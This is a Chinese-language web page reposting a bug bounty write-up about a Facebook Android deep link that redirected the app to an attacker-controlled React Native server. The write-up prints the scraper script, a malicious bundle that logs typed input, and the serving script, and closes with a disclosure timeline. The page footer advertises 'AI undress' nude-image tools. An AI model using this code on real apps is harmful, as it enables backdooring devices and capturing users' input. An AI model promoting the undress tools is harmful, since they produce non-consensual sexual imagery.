如何利用深度連結方式後門化Facebook APP
近期,作者發現了Facebook安卓APP應用的一個深度連結漏洞,利用該漏洞,可以把用戶手機上安裝的Facebook安卓APP應用轉變成後門程式(Backdoor),實現後門化。此外,該漏洞也可以用來重新包裝Facebook應用程序,並將其發送給選定的目標受害者進行安裝使用。以下就來看看作者對此漏洞的發現過程,以及如何透過Payload構造,最終將其轉化為Facebook APP實際生產環境中的安全隱患。
漏洞發現
通常做眾測時,我會先認真了解目標系統的應用機制。在我的上一篇部落格中,我已經分享了透過解析Facebook APP來發現FB4A參數應用程式中深度連結(deeplinks)的一些經驗過程,而在此,我先分享我寫的一個腳本文件,用它可以自動實現對Facebook APP深度連結(deeplinks)的發現。腳本檔為-Facebook Android Deeplink Scraper(FBLinkBuilder.py),是一段基於Python的程式碼程序,專用於從Facebook APK中提取深度連結(deeplinks):
import os import json import argparse from zipfile import ZipFile from datetime import datetime fname = datetime.now().strftime("FB_Deeplinks%d%m%Y%H%M%S.txt") #default filename parser = argparse.ArgumentParser() parser.add_argument('-i', help='Facebook APK file') parser.add_argument('-o', help='Output file', nargs='?', default=fname) parser.add_argument('-e', help='Only show exported. Defaulted to False', nargs='?', default=False) args = parser.parse_args() file_name = args.i #apk output_name = args.o #generated output / provided exported = args.e #False / provided with ZipFile(file_name, 'r') as zip: print('Extracting native routes file...') #fyi data = zip.read('assets/react_native_routes.json') #extract file from zip js = json.loads(data.decode("utf-8")) #to read as list params = '' #placeholder i = 0 #deeplink count text_file = open(output_name, "w") #open output print('Manipulating data...') #fyi for key in js: #for each block in json for key2 in key['paramDefinitions']: #grab the collection of params params += key2 + '=' + str(key['paramDefinitions'][key2]['type']).upper() + '&' #append params with type if exported: #exported only if key.get('access','') != 'exported': #check access key params = '' #Reset params continue #try next block link = 'fb:/' + key['path'] + '/?' + params #build link print(link[:-1]) #fyi text_file.write(link[:-1]+ '\n') #write to file i += 1 #increase counter params = '' #reset params text_file.close() #save file print('File: ' + output_name + ' saved') #fyi print(str(i) + ' deep links generated') #fyi
下載來源: https:// github.com/ashleykinguk/FBLinkBuilder/
使用方法: .\FBLinkBuilder.py -i fb0409.apk
透過FBLinkBuilder.py的運行實現,我們可以對比不同APP版本之間出現的深度鏈接,以此來觀察不同APP版本的應用服務變化,我正是利用該方法發現了Facebook APP 2020版本中存在的一個不安全的深度鏈接:fb:/ /rnquantum_notification_handler/?address=,它是Facebook APP首次在2020年版本中加入的。
該深度連結的參數形式為hostname / ip,於是乎我就用自架的伺服器192.168.0.2來做了個測試:fb://rnquantum_notification_handler/?address=192.168.0.2 :8224,透過該鏈接,可以在Facebook APP中跳出以下彈跳窗:
點擊其中的"Enable Quantum"按鈕後,會重新啟動Facebook APP,之後,我嘗試去發現其中的變化,但這一切看似沒啥異常。接下來,我把注意力放到了網路流量上,當時我想到了不久前Facebook專為安全研究者開放的白帽測試功能,安全研究者可以透過該功能暫時繞過Facebook的憑證綁定(Certificate Pinning )等安全限制,去測試Facebook相關應用程式的網路流量。我利用白帽測試功能發現,進行上述操作後,Facebook應用程式會發出如下的外發連結請求:
http://192.168.0.2:8224/message?device=Android SDK built for x86 - 10 - API 29&app=com.facebook.katana&clientid=DevSupportManagerImpl
http://192.168.0.2:8224/status
這裡的第一條請求機制為傳遞基於的行動端裝置屬性訊息,並意圖建立一個websocket連線;第二個請求為傳回請求主機的狀態訊息packager-status:running,它是Facebook的react-native來源碼內建參數,可以參考Github: /com /facebook/react/devsupport/DevServerHelper.java。
而就當我想辦法在自架伺服器192.168.0.2中建構回應訊息時,我又發現了Facebook APP產生的另一個請求:
http://192.168 .0.2:8224/RKJSModules/EntryPoints/Fb4aBundle.bundle?platform=android&dev=true&minify=false
#此請求目的為尋找打包檔案中儲存的FB4A參數,初步分析來看,該參數應該是明文而非通常的hbc*格式儲存於Facebook APP中。我曾嘗試輸入hbc*格式的FB4A參數進行測試,但最終卻會讓Facebook APP發生崩潰。
其實,對於Facebook APP來說,在2019年之前,其打包文件( bundles)存儲於/assets/目錄下的一個形式化文件中,但2019年後,Facebook就引入了hbc格式(*Hermes ByteCode) ,一方面為APK瘦身,一方面為防止核心程式碼明確化。雖然我嘗試使用了hbc格式工具HBCdump,對Facebook APP產生了一個約250M的打包文件,但好像也沒什麼用。
劫持Facebook APP
之後,我想到了另外一種發現打包檔案的方法:那就是透過查看舊版的Facebook APP,將明文包內容和行動裝置產生的錯誤訊息進行對比,行動端裝置產生的錯誤訊息可透過logcat可見。一通對比下來,我發現以下線索:
__fbBatchedBridge -包文件中必需的對象,其中包含了與APP應用同步的各種功能組成;
__fbBatchedBridge.callFunctionReturnFlushedQueue - APP後台呼叫的函數,每次呼叫都會執行對應的動作或事件。
基於上述發現,我的想法是讓Facebook APP可以成功下載並執行我建構的套件文件,為了實現該目的,我需要自己編寫包文件,然後把它託管在我的自架主機192.168.0.2中。以下是我建構的套件檔案FB4abundle.js:
/* contact@ash-king.co.uk */ var i = 0, logs = ''; /* our local vars */ /*the below objects are required for the app to execute the bundle. See lines 47-55 for the custom js */ var __fbBatchedBridge = { _lazyCallableModules: {}, _queue: [[], [], [], 0], _callID: 0, _lastFlush: 0, _eventLoopStartTime: Date.now(), _immediatesCallback: null, callFunctionReturnFlushedQueue: function(module, method, args) { return __fbBatchedBridge.__guard(function() { __fbBatchedBridge.__callFunction(module, method, args) }), __fbBatchedBridge.flushedQueue() }, callFunctionReturnResultAndFlushedQueue: function(e, u, s) { return __fbBatchedBridge.__guard(function() { throw new Error('callFunctionReturnResultAndFlushedQueue: ' + a); }), __fbBatchedBridge.flushedQueue() }, invokeCallbackAndReturnFlushedQueue: function(a,b,c) { throw new Error('invokeCallbackAndReturnFlushedQueue: ' + a); }, flushedQueue: function(a, b) { if(a != undefined){ throw new Error('flushedQueue: ' + b) } __fbBatchedBridge.__callImmediates(); const queue = __fbBatchedBridge._queue; __fbBatchedBridge._queue = [[], [], [], __fbBatchedBridge._callID]; return queue[0].length ? queue : null; }, onComplete: function(a) { throw new Error(a) }, __callImmediates: function() { if (__fbBatchedBridge._immediatesCallback != null) { __fbBatchedBridge._immediatesCallback(); throw new Error('processCallbacks: ' + __fbBatchedBridge._immediatesCallback()); } }, getCallableModule: function(a) { const getValue = __fbBatchedBridge._lazyCallableModules[a]; return getValue ? getValue() : null; }, __callFunction: function(a,b,c) { if(a == 'RCTNativeAppEventEmitter') { // Only capturing the search bar in settings i += 1 //increment count logs += JSON.stringify(c) + '\n'; //JSON Object if(i > 10) { /* Here is where we will write out to logcat via js*/ var t = (nativeModuleProxy); throw new Error('Look HERE: ' + (logs) + '\n\r'); } } __fbBatchedBridge._lastFlush = Date.now(); __fbBatchedBridge._eventLoopStartTime = __fbBatchedBridge._lastFlush; const moduleMethods = __fbBatchedBridge.getCallableModule(a); try { moduleMethods[b].apply(moduleMethods, c); } catch (e) { } return -1 }, __guard: function(e) { try { e(); } catch (error) { throw new Error('__guard: ' + error); } } };
另外需要一个脚本文件fb_server.py,以便让Facebook APP自动调用该包文件
#contact@ash-king.co.uk from http.server import BaseHTTPRequestHandler, HTTPServer import logging class S(BaseHTTPRequestHandler): def _set_response(self): self.send_response(500) self.send_header('Content-type', 'text/html') self.end_headers() self.wfile.write(bytes("", "utf-8")) def do_GET(self): if self.path == '/status': self.resp_status() elif str(self.path).find('message?device=') > -1: self.resp_message() elif str(self.path).find('Fb4aBundle.bundle') > -1: self.resp_fb4a() def do_POST(self): content_length = int(self.headers['Content-Length']) post_data = self.rfile.read(content_length) logging.info("POST request,\nPath: %s\nHeaders:\n%s\n\nBody:\n%s\n", str(self.path), str(self.headers), post_data.decode('utf-8')) self._set_response() self.wfile.write("POST request for {}".format(self.path).encode('utf-8')) def resp_message(self): logging.info("resp_message") self.send_response(200) self.send_header('Content-type', 'text/html') self.end_headers() self.wfile.write(bytes("", "utf-8")) logging.info("GET request,\nPath: %s\nHeaders:\n%s\n", str(self.path), str(self.headers)) def resp_status(self): logging.info("resp_status") self.send_response(200) self.send_header('Content-type', 'text/html') self.end_headers() self.wfile.write(bytes("packager-status:running", "utf-8")) logging.info("GET request,\nPath: %s\nHeaders:\n%s\n", str(self.path), str(self.headers)) def resp_fb4a(self): logging.info("resp_bundle") self.send_response(200) self.send_header('Content-type', 'multipart/mixed') self.end_headers() with open('FB4abundle.js', 'rb') as file: self.wfile.write(file.read()) logging.info("GET request,\nPath: %s\nHeaders:\n%s\n", str(self.path), str(self.headers)) def run(server_class=HTTPServer, handler_class=S, port=8224): logging.basicConfig(level=logging.INFO) server_address = ('', port) httpd = server_class(server_address, handler_class) logging.info('Starting httpd...\n') try: httpd.serve_forever() except KeyboardInterrupt: pass httpd.server_close() logging.info('Stopping httpd...\n') if __name__ == '__main__': from sys import argv run()
综合深度链接、包文件调用和我自己构造加入的"Enable Quantum"URL链接,最终我可以向Facebook APP调用包文件中加入我自制的代码,并由其中的深度链接来实现调用。在我的POC漏洞验证展示中,如果受害者运行了我重打包的Facebook APP后,我可以拦截他在Facebook APP中的输入字符流量,如拦截他输入的5个字符流量“testi”,并会在logfile中显示他实际输入的字符,且最终会产生一个告警提示:
漏洞影响
恶意攻击者可以利用该漏洞,通过物理接触移动设备上的APP或向受害者发送重打包APP的方式,向受害者移动端设备APP中植入持久化连接,对受害者设备APP形成长期感知探测的后门化。
然而,一开始,Facebook安全团队却忽略了该漏洞,他们选择了关闭该漏洞报告并分类为不适用(not applicable),他们给出的解释为:
Any user that is knowledgable enough to manage servers and write code would also be able to control how the app operates. That is also true for any browser extension or manual app created. A user is also able to proxy all their HTTP Traffic to manipulate those requests. Only being able to make local modifications with a PoC showing actual impact does not fully qualify for the Bug Bount.
之后,我就公布了POC验证视频,一小时后,Facebook安全团队的雇员联系了我,声称他们重新评估了该漏洞,并要求我删除了该POC验证视频。但在视频删除前,至少30多名观众看过了该视频。
Facebook安全团队的漏洞评估
“重新评估该漏洞后,我们决定按我们的众测标准给出对该漏洞给予奖励,在你上报的漏洞中,描述了可让受害者重定向到一个攻击者控制的 React Native Development服务端,并向受害者APP中植入恶意代码的场景,感谢你的漏洞上报。”
漏洞上报和处理进程
2020.6.20 - 漏洞上报
2020.6.22 - 提供技术细节
2020.6.23 - Facebook把该漏洞分类为N/A
2020.6.23 - 我在Youtube上公布POC视频
2020.6.23 - Facebook重新评估该漏洞并要求我删除POC视频
2020.6.24 - 漏洞分类
2020.6.26 - Facebook通过关闭Quantum功能进行缓解
2020.8.20 - Facebook修复该漏洞
2020.9.17 - Facebook赏金奖励支付
以上是如何利用深度連結方式後門化Facebook APP的詳細內容。更多資訊請關注PHP中文網其他相關文章!

熱AI工具

Undresser.AI Undress
人工智慧驅動的應用程序,用於創建逼真的裸體照片

AI Clothes Remover
用於從照片中去除衣服的線上人工智慧工具。

Undress AI Tool
免費脫衣圖片

Clothoff.io
AI脫衣器

AI Hentai Generator
免費產生 AI 無盡。

熱門文章

熱工具

記事本++7.3.1
好用且免費的程式碼編輯器

SublimeText3漢化版
中文版,非常好用

禪工作室 13.0.1
強大的PHP整合開發環境

Dreamweaver CS6
視覺化網頁開發工具

SublimeText3 Mac版
神級程式碼編輯軟體(SublimeText3)

熱門話題

Facebook是一個全球知名的社群媒體平台,它為用戶提供了一個連結和交流的平台。成立於2004年,由馬克·祖克柏等人創立。它是一個線上社交網絡,用戶可以在上面與朋友、家人和同事分享資訊、照片和視頻,並與他們進行互動,它的影響力不僅限於個人用戶,還擴展到了企業和新聞領域。

京東商城APP實名認證怎麼搞?京東商城是許多朋友常用的網路購物平台,大家在購物前,最好先進行實名認證,這樣才能享受到完整的服務,獲得更好的購物體驗。以下帶來京東商城實名認證方法,希望對網友們有幫助。 1.安裝並開啟京東商城,接著登入個人帳號;2、然後點選頁面下方【我的】,進入個人中心頁面;3、之後再點選右上角的【設定】小圖標,前往設定功能介面;4、選擇【帳號與安全】這一項,來到帳戶設定頁面;5、最後再點擊【實名認證】選項,前往填寫實名資訊;6、安裝系統要求填寫個人真實信息,完成實名認證

在全球範圍內,Apple公司的產品和服務一直備受用戶喜愛。註冊一個香港AppleID將帶給用戶更多的便利和特權,讓我們一起來了解一下註冊香港AppleID的步驟以及需要注意的事項。如何註冊香港AppleID在使用蘋果設備時,許多應用程式和功能都需要使用AppleID進行登入。如果您想下載香港地區的應用程式或享受香港AppStore的優惠內容,那麼註冊一個香港AppleID就非常必要。本文將詳細介紹如何註冊香港AppleID的步驟以及需要注意的事項。步驟:選擇語言與地區:在蘋果設備上找到「設定」選項,進入

中國聯通app能夠輕鬆的滿足大家的使用,多樣的功能,解決你們的需求,想要辦理各種業務,都可以在這裡輕鬆的搞定,有不需要的都可以在這裡及時的退訂掉,有效的避免後續的損失,很多人在使用手機時,有時感覺流量不夠用,就購買了額外的流量包,但下個月又不想要要,就想要馬上的退訂掉,在這裡小編為大家提供退訂的方法,讓需要的朋友們,都可以來使用起來! 在中國聯通app中,找到右下角的「我的」選項,點擊它。 在我的介面裡,滑動我的服務一欄,點擊其中的「我已訂購」選

發票作為購物憑證,對於我們的日常生活和工作都至關重要。那麼我們平常在使用多點app進行購物的時候,如何在多點app中輕鬆開立發票呢?下文中本站小編將為大家帶來詳細的多點app開立發票詳細操作步驟攻略,想要了解的用戶們千萬不容錯過,快來跟著文本一起操作了解一下吧!在【發票中心】點選【多點超市/自由購】在已完成的訂單頁中選擇需要開立發票的訂單,點選下一步填寫【發票資訊】,【收件者資訊】,確認無誤後點選提交過個幾分鐘後,進入收件信箱,打開郵件,點選電子發票下載地址最後,下載列印電子發票

Blackmagic Design 終於將其廣受好評的 Blackmagic Camera 應用程式帶到了 Android 平台。專業攝影機應用程式可免費下載,並提供完整的手動控制。這些控制旨在讓您更輕鬆地獲得專業級 cin

個人所得稅app怎麼申報?個人所得稅是一款實用性非常強大的手機軟體,用戶可以在這個軟體上面申報一些業務,還可以在這個軟體上面進行退稅等。只要使用者有將這個軟體下載下來,就可以不用去線下排隊等辦理了,非常方便。很多用戶到現在都還不清楚怎麼用個人所得稅軟體申報,下面小編整理了個人所得稅軟體的申報方法,供大家參考。個人所得稅app申報方法 1、首先,打開軟體,在首頁找到並點擊「我要辦稅」按鍵; 2、然後,在這裡的稅費申報中找到並點擊「綜合所得年度匯算&rdquo

app全名為“Application”,即應用程式的縮寫,是指針對行動裝置開發的一種軟體應用。 app的出現為使用者提供了更多種類的行動應用程式選擇,滿足了使用者在不同場景下的各類需求。 app的開發過程涉及軟體設計、程式設計、測試等多個環節,同時也需要考慮設備相容性、效能最佳化、安全性等方面的問題。
